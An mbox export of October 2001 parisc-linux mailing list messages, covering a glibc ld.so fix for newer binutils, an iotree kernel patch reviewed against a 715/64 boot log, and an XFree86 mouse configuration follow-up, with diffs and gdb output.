--- include/asm-parisc/hardware.h	2001/10/11 23:43:30	1.24
+++ include/asm-parisc/hardware.h	2001/10/19 22:39:07
@@ -1,6 +1,8 @@
 #ifndef _PARISC_HARDWARE_H
 #define _PARISC_HARDWARE_H
 
+#include <asm/pdc.h>
+
 struct parisc_device_id {
 	unsigned char	hw_type;	/* 5 bits used */
 	unsigned char	hversion_rev;	/* 4 bits */
@@ -96,12 +98,15 @@ extern enum cpu_type parisc_get_cpu_type
 
 
 /* drivers.c: */
-extern struct parisc_device *alloc_pa_dev(unsigned long hpa);
+extern struct parisc_device *alloc_pa_dev(unsigned long hpa,
+		struct pdc_module_path *path);
 extern int register_parisc_device(struct parisc_device *dev);
-extern int get_num_pa_dev(void);
-extern void print_pa_devices(int start_index, int num_indexes);
 extern int register_parisc_driver(struct parisc_driver *driver);
 extern int unregister_parisc_driver(struct parisc_driver *driver);
+extern void walk_native_bus(unsigned long addr, struct parisc_device *parent);
+extern void walk_central_bus(void);
+extern void print_subdevices(struct parisc_device *dev);
+extern void print_parisc_devices(void);
 
 /* inventory.c: */
 extern void do_memory_inventory(void);

--0OAP2g/MAC+5xKAE--




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fix for hppa-linux ld.so with newer binutils
Date: Sat, 20 Oct 2001 17:09:07 +0930
Lines: 78
Approved: news@gmane.org
Message-ID: <20011020170907.G1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620654 28314 80.91.229.3 (22 Nov 2014 01:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:14 +0000 (UTC)
Cc: bcollins@debian.org, randolph@tausq.org,
	libc-alpha@sources.redhat.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 01:39:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailin8.bigpond.com (unknown [139.134.6.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04863482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 01:39:17 -0600 (MDT)
Original-Received: from bubble.local ([144.135.24.69]) by
          mailin8.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLHUW600.B83 for <parisc-linux@lists.parisc-linux.org>; Sat,
          20 Oct 2001 17:45:42 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by bwmam01.mailsvc.email.bigpond.com(MailRouter V2.9k 8311/1242205); 20 Oct 2001 17:45:37
Original-Received: (qmail 26181 invoked by uid 179); 20 Oct 2001 07:39:07 -0000
Mail-Followup-To: parisc-linux@lists.parisc-linux.org, bcollins@debian.org,
	randolph@tausq.org, libc-alpha@sources.redhat.com
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Xref: news.gmane.org gmane.linux.ports.parisc:12736

Newer binutils don't initialise .got entries for global syms, so the
scheme used by sysdeps/hppa/dl-machine.h:elf_machine_dynamic to find
the address of .dynamic no longer works.

ChangeLog
	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
	const function.  Do not use &_DYNAMIC as .got entries for global
	syms are no longer initialised.  Instead they rely on the reloc,
	which hasn't yet been applied.
	(elf_machine_load_address): Make it const.  Call
	elf_machine_dynamic as that function is called fropm rtld anyway.

-- 
Alan Modra
 
Index: sysdeps/hppa/dl-machine.h
===================================================================
RCS file: /home/cvs/parisc/glibc/sysdeps/hppa/dl-machine.h,v
retrieving revision 1.41
diff -u -p -r1.41 dl-machine.h
--- dl-machine.h	2001/06/08 00:19:01	1.41
+++ dl-machine.h	2001/10/20 07:20:27
@@ -76,42 +76,40 @@ elf_machine_matches_host (const Elf32_Eh
 
 /* Return the link-time address of _DYNAMIC.  */
 static inline Elf32_Addr
+elf_machine_dynamic (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_dynamic (void)
 {
   Elf32_Addr dynamic;
 
-#if 0
-  /* Use this method if GOT address not yet set up.  */
   asm (
 "	b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 8),%0\n"
 "	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
       : "=r" (dynamic) : : "r1");
-#else
-  /* This works because we already have our GOT address available.  */
-  dynamic = (Elf32_Addr) &_DYNAMIC;
-#endif
 
   return dynamic;
 }
 
 /* Return the run-time load address of the shared object.  */
 static inline Elf32_Addr
+elf_machine_load_address (void) __attribute__ ((const));
+
+static inline Elf32_Addr
 elf_machine_load_address (void)
 {
-  Elf32_Addr dynamic, dynamic_linkaddress;
+  Elf32_Addr dynamic;
 
   asm (
 "	b,l	1f,%0\n"
 "	depi	0,31,2,%0\n"
 "1:	addil	L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
-"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%1\n"
-"	addil	L'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 16),%0\n"
-"	ldw	R'_GLOBAL_OFFSET_TABLE_ - ($PIC_pcrel$0 - 20)(%%r1),%0\n"
-   : "=r" (dynamic_linkaddress), "=r" (dynamic) : : "r1");
+"	ldo	R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
+   : "=r" (dynamic) : : "r1");
 
-  return dynamic - dynamic_linkaddress;
+  return dynamic - elf_machine_dynamic ();
 }
 
 /* Fixup a PLT entry to bounce directly to the function at VALUE.  */




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] The long awaited iotree patch for System Map Firmware
Date: Sat, 20 Oct 2001 12:02:53 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20011020100404.917E2482A@dsl2.external.hp.com>
References: <20011019165926.A31233@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620654 28316 80.91.229.3 (22 Nov 2014 01:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:14 +0000 (UTC)
To: rbradetich@uswest.net (Ryan Bradetich),
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 04:04:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 917E2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 04:04:04 -0600 (MDT)
Original-Received: (qmail 17889 invoked by uid 0); 20 Oct 2001 10:04:01 -0000
Original-Received: from pd90403a8.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.168)
  by mail.gmx.net (mp002-rz3) with SMTP; 20 Oct 2001 10:04:01 -0000
X-Mailer: KMail [version 1.3.6]
In-Reply-To: <20011019165926.A31233@beavis.ybsoft.com>
Xref: news.gmane.org gmane.linux.ports.parisc:12737

Hi Ryan,

I've tested your patch on my c3k and 715/64 (aka "Snake").
On the c3k all is fine, but on the 715/64 it breaks the current 
inventory function and just needs a small fix to get it working again.

Anyway, here is the bootlog for the 715/64:

Found devices:                                                                 5
1. Mirage Jr GSC Builtin Graphics (10) at 0xf8000000 [1], versions 0x12, 0x0, 0 
2. Mirage Jr Core BA (11) at 0xf0100000 [2], versions 0x28, 0x0, 0x81           
3.  (0) at 0x0 [2/0], versions 0x0, 0x0, 0x0                                    
4. Mirage Jr Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x28, 0x0, 0x82    a
5. Mirage Jr Core LAN (802.3) (10) at 0xf0107000 [2/0/2], versions 0x28, 0x0, 0 
6. Mirage Jr Core RS-232 (10) at 0xf0105000 [2/0/4], versions 0x28, 0x0, 0x8c  4
7. Mirage Jr Core Centronics (10) at 0xf0102000 [2/0/6], versions 0x28, 0x0, 0x 
8. Mirage Jr Audio (10) at 0xf0104000 [2/0/8], versions 0x28, 0x0, 0x7b        3
9. Mirage Jr Core PC Floppy (10) at 0xf010a000 [2/0/10], versions 0x28, 0x0, 0x4
10. Mirage Jr Core PS/2 Port (10) at 0xf0108000 [2/0/11], versions 0x28, 0x0, 04
11. Mirage Jr Core PS/2 Port (10) at 0xf0108100 [2/0/12], versions 0x28, 0x0, 0 
12. Mirage Jr Wax EISA BA (11) at 0xfc000000 [4], versions 0x28, 0x0, 0x90      
13. Mirage Jr Wax BA (11) at 0xf0200000 [5], versions 0x12, 0x0, 0x8e           
14.  (0) at 0x0 [5/0], versions 0x0, 0x0, 0x0                                   
15. Mirage Jr Wax HIL (10) at 0xf0201000 [5/0/1], versions 0x12, 0x0, 0x73      
16. Mirage Jr Wax RS-232 (10) at 0xf0202000 [5/0/2], versions 0x12, 0x0, 0x8c   
17. Mirage Jr (715/64) (0) at 0xfffbe000 [8], versions 0x60a, 0x0, 0x4          
18. Mirage Jr (1) at 0xfffbf000 [9], versions 0x4a, 0x0, 0x9                    
CONFIG_SMP=n  ignoring additional CPUs                                          
Warning : device (0, 0x0, 0x0, 0x0) NOT claimed by CPU                          
CONFIG_SMP=n  ignoring additional CPUs                                          
Warning : device (0, 0x60a, 0x0, 0x4) NOT claimed by CPU
 CPU(s): 1 x PA7100LC (PCX-L) at 64.000000 MHz                                   
Lasi version 0 at 0xf0100000 found.                                             
LED display at f00e0000 registered                                              
Wax at 0xf0200000 found.                                                        
Wax: HIL Keyboard-NMI registered.                                               
Wax EISA Adapter found at 0xfc000000                                           !
busdevice_alloc_irq(0x1003b8c0): No known LASI/ASP/WAX owns device at 0xf020000 
EISA: failed to claim IRQ                                                       
Warning : device (11, 0x28, 0x0, 0x90) NOT claimed by EISA Bus Adapter
.....
As you see, your iotree inserts "phantom" devices on [2/0] an [5/0]. I think both
devices should be pre-initialized by default to type HPHW_FAULTY and to the hpa of the
parent device in the function alloc_tree_node().
The other thing is, that currently no interrupts are found for any devices - I'll investigate that
later but think this shouldn't be so hard to fix either.

Nevertheless I think you should commit your patch. The remaining bugs can be easily 
fixed afterwards.

Greetings,
Helge

On Saturday 20 October 2001 00:59, Ryan Bradetich wrote:
> Hello parisc-linux hackers,
>
> Here is the patch for the I/O Tree for the System Map firmware
> boxes.  I believe the I/O tree for legacy firmware is already in
> the cvs repository, and I need to get access to a PAT firmware
> box to finish the iotree for PAT firmware.
>
>
> Please test this patch out and report any problems.  I would
> like to get this patch committed to the repository so we can
> finally use the multiple IOMMUs present in the ccio boxes,
> etc.
>
>
> I have tested this patch on C200 and K460.
>
> Thanks,
>
> - Ryan
>
> P.S. Thanks to willy for all his help, reviews and general
> rewrite to put this patch in its current state!





From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Sat, 20 Oct 2001 09:54:06 -0400
Lines: 45
Approved: news@gmane.org
Message-ID: <20011020095406.L10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620654 28321 80.91.229.3 (22 Nov 2014 01:44:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 07:54:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DBC1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 07:54:25 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15uwZi-0005xb-00; Sat, 20 Oct 2001 09:54:06 -0400
Content-Disposition: inline
In-Reply-To: <20011020170907.G1037@bubble.sa.bigpond.net.au>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12738

On Sat, Oct 20, 2001 at 05:09:07PM +0930, Alan Modra wrote:
> Newer binutils don't initialise .got entries for global syms, so the
> scheme used by sysdeps/hppa/dl-machine.h:elf_machine_dynamic to find
> the address of .dynamic no longer works.
> 
> ChangeLog
> 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> 	const function.  Do not use &_DYNAMIC as .got entries for global
> 	syms are no longer initialised.  Instead they rely on the reloc,
> 	which hasn't yet been applied.
> 	(elf_machine_load_address): Make it const.  Call
> 	elf_machine_dynamic as that function is called fropm rtld anyway.

Is this the fix for a newly built ld.so segfaulting? If so, there seems
to be something else wrong too. Newly built ld.so still segfaults,
here's the gdb:

Starting program: /usr/src/glibc/glibc-2.2.4/./hppa-linux/obj/elf/ld.so

Program received signal SIGSEGV, Segmentation fault.
0x41003298 in _dl_start_final (arg=0xbff00414, bootstrap_map_p=0xbff00508, start_time=1090519040)
    at rtld.c:233
233       _dl_rtld_map.l_addr = bootstrap_map_p->l_addr;
(gdb) print bootstrap_map_p
$1 = (struct link_map *) 0xbff00508
(gdb) print bootstrap_map_p->l_addr
$2 = 1090519040
(gdb) print &_dl_rtld_map
$3 = (struct link_map *) 0x41029270
(gdb) print _dl_rtld_map.l_addr
$4 = 0


This is with binutils 2.11.92.0.7 and gcc-3.0.2 snapshot from 9-22-2001
(latest Debian packages available). I can give you more info if you need
it.

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Soete Joel <joel.soete@freebel.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Xfree86 failled with -pa57
Date: Sat, 20 Oct 2001 14:31:53 +0000
Lines: 49
Approved: news@gmane.org
Message-ID: <3BD18AD9.FA49E5E7@freebel.net>
References: <1003154375.3bcaebc713db3@webmail.tiscalinet.be> <20011015164903.X11105@linuxcare.com> <20011015180923.A14160@elvis.franken.de> <1003166094.3bcb198edae10@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620655 28325 80.91.229.3 (22 Nov 2014 01:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:15 +0000 (UTC)
To: tsbogend@alpha.franken.de,
	Thomas Bogendoerfer <tsbogend@elvis.franken.de>,
	Richard Hirst <rhirst@linuxcare.com>, joel.soete@freebel.net,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 08:25:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolm1.tiscalinet.be (spoolm1.tiscalinet.be [212.35.2.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id D8313482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 08:25:31 -0600 (MDT)
Original-Received: from [213.151.46.93] (helo=freebel.net)
	by spoolm1.tiscalinet.be with esmtp (Tiscalinet) 
	id 15ux3z-0001to-00; Sat, 20 Oct 2001 16:25:23 +0200
Original-Sender: jso@dsl2.external.hp.com
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.9-evms-0.2.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12739

Hello all,

Just a followup:

joel.soete@freebel.net wrote:
> 
> Hi Thomas,
> 
> Quoting Thomas Bogendoerfer <tsbogend@elvis.franken.de>:
> 
> > On Mon, Oct 15, 2001 at 04:49:03PM +0100, Richard Hirst wrote:
> > > > (EE) No OS PCI support available
> > >
> > > Do you have PCI support enabled in your kernel?
> >
> > shouldn't matter. I bet the framebuffer runs in a different resolution
> > than
> > it's configured in XF86Config. Since the current stifb doesn't support
> > mode switching, I've made the check very strict to not allow it. So
> > the boot time resolution and bpp must match that from XF86Config.
> >
> > Thomas.
> >
> Sorry for NEWBIES (as I am in term of X configuration) what means bpp?
> 
> Well I found what I have to change in my config file to make xdm works.
> Just a problem:
> After the xdm start everything seems to works fine (right colors, mouse
> working,...). Then I login: ok the pointer still work, I can work in the default
> xterm,...
> But when I exit mouse does not move any more and I had to restart xdm.

This problem continu but...

> 
> (Um.., on my B180 I thing have to update Xfree 4.0 to 4.1 the mouse does not
> work at all but gpm well)

this one Thomas Marteau kindely help me to find out that in 'Section
pointer' of XFconfig the 'Device "/dev/mouse"'.
And if on the 712 /dev/mouse is well a link to /dev/psaux, on the
contrary on the B180L the /dev/mouse was wrongly a link to /dev/gpmdata.

Thanks again to Thomas and all for help,

	Joel




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Sun, 21 Oct 2001 00:04:44 +0930
Lines: 58
Approved: news@gmane.org
Message-ID: <20011021000443.H1037@bubble.sa.bigpond.net.au>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620655 28588 80.91.229.3 (22 Nov 2014 01:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:15 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
To: Ben Collins <bcollins@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 08:34:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta02ps.bigpond.com (mta02ps.bigpond.com [144.135.25.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48749482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 08:34:53 -0600 (MDT)
Original-Received: from bubble.local ([144.135.25.81]) by
          mta02ps.bigpond.com (Netscape Messaging Server 4.15) with SMTP
          id GLIE4V00.63R for <parisc-linux@lists.parisc-linux.org>; Sun,
          21 Oct 2001 00:41:19 +1000 
Original-Received: from 144.136.192.57 ([144.136.192.57]) by psmam05.mailsvc.email.bigpond.com(MailRouter V2.9k 8410/1781842); 21 Oct 2001 00:41:14
Original-Received: (qmail 6576 invoked by uid 179); 20 Oct 2001 14:34:44 -0000
Mail-Followup-To: Ben Collins <bcollins@debian.org>,
	parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20011020095406.L10952@visi.net>; from bcollins@debian.org on Sat, Oct 20, 2001 at 09:54:06AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:12740

On Sat, Oct 20, 2001 at 09:54:06AM -0400, Ben Collins wrote:
> On Sat, Oct 20, 2001 at 05:09:07PM +0930, Alan Modra wrote:
> > 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> > 	const function.  Do not use &_DYNAMIC as .got entries for global
> > 	syms are no longer initialised.  Instead they rely on the reloc,
> > 	which hasn't yet been applied.
> > 	(elf_machine_load_address): Make it const.  Call
> > 	elf_machine_dynamic as that function is called fropm rtld anyway.
> 
> Is this the fix for a newly built ld.so segfaulting? If so, there seems
> to be something else wrong too. Newly built ld.so still segfaults,
> here's the gdb:

alan@tea:~$ /lib/ld.so.1 
Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
You have invoked `ld.so', the helper program for shared library executables.
[snip]

no problems here.

sourceware CVS binutils as of a few minutes ago, debian glibc-2.2.4-3
with willy's patch (ftp://ftp.parisc-linux.org/patches/glibc22-hppa.dpatch)
+ mine, gcc from pehc 3.0.2 20010829.

So, I'm using a newer binutils but older gcc.  The old gcc was an
accident - I'll try again with something more recent.  binutils, gcc and
glibc freshly built on an x86-linux system, first building xtools then
native ones.

> Program received signal SIGSEGV, Segmentation fault.
> 0x41003298 in _dl_start_final (arg=0xbff00414, bootstrap_map_p=0xbff00508, start_time=1090519040)
>     at rtld.c:233
> 233       _dl_rtld_map.l_addr = bootstrap_map_p->l_addr;
> (gdb) print bootstrap_map_p
> $1 = (struct link_map *) 0xbff00508
> (gdb) print bootstrap_map_p->l_addr
> $2 = 1090519040
> (gdb) print &_dl_rtld_map
> $3 = (struct link_map *) 0x41029270
> (gdb) print _dl_rtld_map.l_addr
> $4 = 0

That's weird.  Looks like _dl_rtld_map is in a read-only segment, when
it ought to be in .bss

alan@tea:~$ nm /lib/ld.so.1 | grep dl_rtld_map
00029368 b _dl_rtld_map
alan@tea:~$ objdump -h /lib/ld.so.1 | grep '\.bss'
 15 .bss          00000f9c  00029220  00029220  00019220  2**3

Hmm, I wonder if the machine instructions actually doing the assignment
have relocs that haven't been applied for some reason.  That would
probably result in your ld.so trying to write to 0x29270.






From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ben Collins <bcollins@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Fix for hppa-linux ld.so with newer binutils
Date: Sat, 20 Oct 2001 11:01:23 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <20011020110123.M10952@visi.net>
References: <20011020170907.G1037@bubble.sa.bigpond.net.au> <20011020095406.L10952@visi.net> <20011021000443.H1037@bubble.sa.bigpond.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620655 28592 80.91.229.3 (22 Nov 2014 01:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:15 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org, randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 09:01:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from blimpo.internal.net (ppp01.ts1-1.NewportNews.visi.net [209.8.196.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2F99E482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 09:01:26 -0600 (MDT)
Original-Received: from bmc by blimpo.internal.net with local (Exim 3.32 #1 (Debian))
	id 15uxcp-00060L-00; Sat, 20 Oct 2001 11:01:23 -0400
Content-Disposition: inline
In-Reply-To: <20011021000443.H1037@bubble.sa.bigpond.net.au>
User-Agent: Mutt/1.3.22i
Original-Sender: Ben Collins <bmc@visi.net>
Xref: news.gmane.org gmane.linux.ports.parisc:12741

On Sun, Oct 21, 2001 at 12:04:44AM +0930, Alan Modra wrote:
> On Sat, Oct 20, 2001 at 09:54:06AM -0400, Ben Collins wrote:
> > On Sat, Oct 20, 2001 at 05:09:07PM +0930, Alan Modra wrote:
> > > 	* sysdeps/hppa/dl-machine.h (elf_machine_dynamic):  Make it a
> > > 	const function.  Do not use &_DYNAMIC as .got entries for global
> > > 	syms are no longer initialised.  Instead they rely on the reloc,
> > > 	which hasn't yet been applied.
> > > 	(elf_machine_load_address): Make it const.  Call
> > > 	elf_machine_dynamic as that function is called fropm rtld anyway.
> > 
> > Is this the fix for a newly built ld.so segfaulting? If so, there seems
> > to be something else wrong too. Newly built ld.so still segfaults,
> > here's the gdb:
> 
> alan@tea:~$ /lib/ld.so.1 
> Usage: ld.so [OPTION]... EXECUTABLE-FILE [ARGS-FOR-PROGRAM...]
> You have invoked `ld.so', the helper program for shared library executables.
> [snip]
> 
> no problems here.
> 
> sourceware CVS binutils as of a few minutes ago, debian glibc-2.2.4-3
> with willy's patch (ftp://ftp.parisc-linux.org/patches/glibc22-hppa.dpatch)
> + mine, gcc from pehc 3.0.2 20010829.
> 
> So, I'm using a newer binutils but older gcc.  The old gcc was an
> accident - I'll try again with something more recent.  binutils, gcc and
> glibc freshly built on an x86-linux system, first building xtools then
> native ones.

The binutils may be the difference. I think Randolph said there was a
patch in CVS that was needed. I'll wait and see if that new package
works.

-- 
 .----------=======-=-======-=========-----------=====------------=-=-----.
/                   Ben Collins    --    Debian GNU/Linux                  \
`  bcollins@debian.org  --  bcollins@openldap.org  --  bcollins@linux.com  '
 `---=========------=======-------------=-=-----=-===-======-------=--=---'




From - Thu Nov 08 21:20:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] The long awaited iotree patch for System Map Firmware
Date: Sat, 20 Oct 2001 18:47:20 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20011020184720.A31505@parcelfarce.linux.theplanet.co.uk>
References: <20011019165926.A31233@beavis.ybsoft.com> <20011020100404.917E2482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620655 28597 80.91.229.3 (22 Nov 2014 01:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:44:15 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 20 11:47:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 975E4482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 20 Oct 2001 11:47:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15v0DQ-0002gX-00; Sat, 20 Oct 2001 18:47:20 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011020100404.917E2482A@dsl2.external.hp.com>; from deller@gmx.de on Sat, Oct 20, 2001 at 12:02:53PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12742

On Sat, Oct 20, 2001 at 12:02:53PM +0200, Helge Deller wrote:
> 2. Mirage Jr Core BA (11) at 0xf0100000 [2], versions 0x28, 0x0, 0x81
> 3.  (0) at 0x0 [2/0], versions 0x0, 0x0, 0x0
> 4. Mirage Jr Core SCSI (10) at 0xf0106000 [2/0/1], versions 0x28, 0x0, 0x82

OK.  So we should skip printing devices which don't have an hpa.

> 12. Mirage Jr Wax EISA BA (11) at 0xfc000000 [4], versions 0x28, 0x0, 0x90
> 13. Mirage Jr Wax BA (11) at 0xf0200000 [5], versions 0x12, 0x0, 0x8e

Mmmmpf.  That complicates thngs a little; I assumed the EISA BA was
actually under the normal BA.

> CONFIG_SMP=n  ignoring additional CPUs
> Warning : device (0, 0x0, 0x0, 0x0) NOT claimed by CPU
> CONFIG_SMP=n  ignoring additional CPUs
> Warning : device (0, 0x60a, 0x0, 0x4) NOT claimed by CPU

Hehe, yes, devices not completely filled in look like CPUs.  Oops :-)

> As you see, your iotree inserts "phantom" devices on [2/0] an [5/0]. I think both
> devices should be pre-initialized by default to type HPHW_FAULTY and to the hpa of the
> parent device in the function alloc_tree_node().

I agree about HPHW_FAULTY.  I don't think we need to initialise the hpa
though.  Maybe a new HPHW_FAKE instead?  It's not necessarily confusing,
since devices which actually report HPHW_FAULTY never get inserted into
the iotree.

> The other thing is, that currently no interrupts are found for any devices - I'll investigate that
> later but think this shouldn't be so hard to fix either.

